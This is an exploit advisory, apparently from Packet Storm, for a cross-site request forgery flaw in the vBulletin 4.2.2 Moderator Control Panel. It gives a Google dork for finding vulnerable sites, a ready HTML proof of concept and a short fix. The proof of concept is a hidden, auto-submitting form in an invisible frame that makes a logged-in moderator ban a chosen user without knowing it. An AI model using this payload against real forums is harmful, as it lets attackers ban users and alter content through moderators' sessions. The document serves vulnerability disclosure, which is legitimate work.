vBulletin Moderator Control Panel 4.2.2 CSRF

Type packetstorm
Reporter Daniel Tomescu
Modified 2014-12-17T00:00:00


                                            `# Exploit Title: vBulletin Moderator Control Panel CSRF  
# Google Dork: "Powered by vBulletin® Version 4.2.2"  
# Date: 16-12-2014  
# Exploit Author: Tomescu Daniel http://daniel-tomescu.com https://rstforums.com/forum  
# Vendor Homepage: http://www.vbulletin.com/en/vb4-features/  
# Software Link: Premium  
# Version: vBulletin 4.2.2  
# Tested on: Chrome and Firefox  
# Reference: https://rstforums.com/forum/88810-csrf-vbulletin-modcp.rst  
### 1. Description  
vBulletin Moderator Control Panel suffer from a CSRF vulnerability because the CSRF tokens "adminhash" and "securitytoken" are not verified in POST requests.   
vBulletin has one additional protection against CSRF: checking the Referer header to be same origin. However this can be bypassed by making a POST request that does not have a Referer header.   
This vulnerability allows an attacker to ban/unban users, to modify user profiles, to edit/approve posts and topics and so on.   
### 2. Proof of Concept  
The attacker should target a moderator of target-forum.com and the moderator must be logged in Moderator Control Panel. The vulnerability can be exploited by tricking the moderator to visit a webpage that contains the following html code:  
<iframe name="ifr" frameborder="0" style="overflow:hidden;height:1%;width:1%" height="1%" width="1%"   
<iframe style="display:none" name="csrf-frame"></iframe>  
<form style="display:none" method="POST" action="https://target-forum.com/path-to/modcp/banning.php?do=dobanuser" target="csrf-frame" id="csrf-form">  
<input type="hidden" name="do" value="dobanuser" >   
<input type="hidden" name="adminhash" value="" >   
<input type="hidden" name="securitytoken" value="" >  
<input type="hidden" name="username" value="UserToBeBanned" >   
<input type="hidden" name="usergroupid" value="8" >  
<input type="hidden" name="period" value="D_7" >   
<input type="hidden" name="reason" value="Banned with CSRF" >  
<input type="submit" value="submit">   
<script> window.onload = function(){ document.getElementById("csrf-form").submit(); } </script>   
As a result, the user with the username "UserToBeBanned" will be added to the banned users list.  
### 3. Solution:  
Do not allow POST requests without a Referer header.  
Verify "adminhash" and "securitytoken" to be valid.